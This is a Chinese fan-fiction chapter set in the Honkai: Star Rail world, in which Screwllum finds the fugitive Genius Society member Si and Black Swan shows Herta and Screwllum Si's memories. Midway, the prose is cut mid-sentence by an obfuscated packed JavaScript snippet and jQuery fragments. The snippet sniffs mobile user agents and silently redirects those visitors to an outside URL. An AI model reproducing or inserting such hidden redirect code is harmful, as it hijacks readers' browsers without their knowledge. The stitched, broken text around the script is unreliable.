已经是十月份,期中周即将开始,并且黑塔女士和真理医生莅临校园的消息传得很开,学生们都在刻苦地复习。而在他们试图用这种比赛学习的行为艺术引起两位大人物注意的时候,各处阴暗的角落里,已经摆满了人偶和石膏头。
肆:“……”
她只是想找个角落,缝补她破破烂烂的模拟宇宙。仅此而已。
博识尊在上。
她甚至都没有想过去拆那个大机器头的零件用来修理她损坏的模拟宇宙,只是老老实实地过自己岁月静好的日子。
她长叹一声:“到底怎样的脑回路,才能提出把石膏头摆在睡蕉小猴展览柜后面的?”
冷俊的石膏头静静注视着,一言不语。
肆和石膏头对视。
【它身上没有可对话的交互键。】
一个无机质的石膏头。
只有在砸碎它的时候,大概才能听见一个无机生命终止的信号。
“……”
肆于是从展览柜里灵活地钻出来了。
这个石膏头实在面目可憎。和无处不在的人偶一样,去哪都能监视到她的动作。
肆稍微有些想不通。
到底是怎样才被抓住了行踪。
她的面部障碍算法自信足以瞒过这银河里的绝大部分生命,而又一直刻意避开了天才俱乐部其他人。甚至在#56号成员以利亚萨拉斯发出通讯邀请的时候,她找借口说自己这边星系信号不好拒绝了。
以利亚萨拉斯当时如是抗议:“……可以严谨地敷衍一下我吗?肆,你编的那个坐标甚至连见鬼的引力场都没有。信号不好的话你现在又到底是在用什么与我通讯?中粒子同步吗?”
肆:“心意到了就好。”
以利亚萨拉斯:“?”
以利亚萨拉斯:“行吧。起码你还愿意找个借口。”
肆挂断了通讯。
以利亚萨拉斯简直是他们这群人……呃,团伙中的异类。
后来者说,他是个彻头彻尾的高尚者,一生都致力于分享知识,现代文明交流的基石,他坐拥无数种延长寿命的办法,但选择让自己的生命停止在了103岁。
而要肆说,以利亚萨拉斯是个好人。
可惜好人不知道的是。阻碍他们交流的永远不是技术,空间,或者语言之类的东西。
只是单纯的不想。仅此而已。
肆猜测试图捕捉她的那群人也知道她的个性,所以什么都不说,直接一言不合就围了折纸大学,简直是明面上的围剿,偏偏还不能显露出异常。
算了。肆干脆直接摊手。
肆破罐子破摔:“算了。你们赢了,我在这里。”
背后几乎是立刻响起了脚步声。
像是一个等待已久的信号。而一只蝴蝶翩跹,轻轻地飞过。
肆转过身去,长叹了一口气,无奈道:“黑塔女士,或者应该说是真理医生,我们——”
——并不是黑塔人偶,也没有冷白色的石膏头。
一个意料之外的……智械。
振翅的蝴蝶,停留在机械贵族优雅的指节。
“日安。”螺丝咕姆向她致意,“我想化名总是一层横亘在我们之间拨弄不散的迷雾。提问:我应当抉择怎样合适的称呼,用以缩短我们认知的距离?”
肆浑身一震。
下一刻,她像遇到天敌一样炸毛。然而毕竟无路可退,总不能钻进睡蕉小猴的展览柜里……等等,倒也不是为一种方法。
【建议谨慎。】
好吧。肆放弃了这个想法。
她后退一步,倒吸了一口凉气:“嘶——”
螺丝咕姆:“好的。肆女士。”
【?】
肆:“……”
-
“我注意她很久了,直到今天才辗转联系上你们,送到这份记忆。”
发现【肆】的存在完全是一个巧合,不过考虑到对方人如其名一样放纵肆意、无法无天的个性,直到现在才被捕获零星半点的踪迹,倒也不算很正常。
黑天鹅望向面前这位尊贵的、优雅的机械贵族。
表情。
表情是最适合展露情绪的直白方式。然而对于无机生命来说,无机结构不会因为情绪而产生波动,更别说,它们是否有“情绪”这种东西,也尚未可知。
“提问:忆者小姐,需要我们支付什么样的报酬?”
名为螺丝咕姆的机械贵族从一开始便陷入思考的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438510|169316||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
沉默,这时候才开口发问。
“只是觉得,有必要想让你们知悉她的存在而已。毕竟出于私心,之后我也想探究一番她的记忆。”黑天鹅轻笑道,“能与天才俱乐部的各位认识,对我而言,也没有什么坏处。”
作为话题中心的人物,看上去倒是没有黑天鹅口中的那样富有杀伤力。
模糊的忆泡里,她一脸沉郁地盯着镜头。女孩子手里握着棒棒糖,外套是一件廉价的草绿色雨衣外套,散落的头发已被淋湿成几股。她孑然一身,孤零零、湿漉漉地走入无边又无界的雨幕。
黑塔明显地意识到身边这位无机贵族难得出现的异常,她瞥头看了他一眼。
螺丝咕姆:“解释:我曾与一位【罗肆】有过短暂的交流。似乎与她有关。”
他刻意读错了音节。在场的几人成功地误解了这个词的含义。
“螺丝?”黑塔说,“难道还去过你的螺丝星?好家伙,那这面部障碍算法真够厉害的,连你都看不出来。”
黑天鹅的声音慵懒:“这个小家伙的记忆,像一小滩雨后屋檐的积水,我担心我过于灼热的目光会将它们统统蒸发掉,因此只谨慎地采摘了两三滴。”
忆泡的场景再度变换。
依然是在雨中,她坐在阴暗的角落,不知从哪掏出立方体的装置。
——一个无论是黑塔,还是螺丝咕姆都相当熟悉的机动装置。
黑塔:“诶——等等。那是我的模拟宇宙?被偷了?”
螺丝咕姆:“否定:分析外观,该装置曾遭受严重损害,数据模糊,不能进行任何模拟测试,与空间站中陈列的装置并不相同。推测:其一,进行了完美的剽窃。其二,思路相撞。”
黑塔眯起眼睛:“有点意思。”
黑天鹅:“她似乎正头疼于如何将它修理好,并准备动身前往匹诺康尼。”
黑天鹅观察面前两位的神色。
毕竟之前窥视黄泉已经付出了不少的代价。
智识的天才,当然交由天才俱乐部就万无一失了。
展示这个忆泡的忆者十分自信。
黑塔叉腰,属于天才的某种直觉让她皱起眉头:“不知为何,总觉得你给我们带来了一个顶大的麻烦。”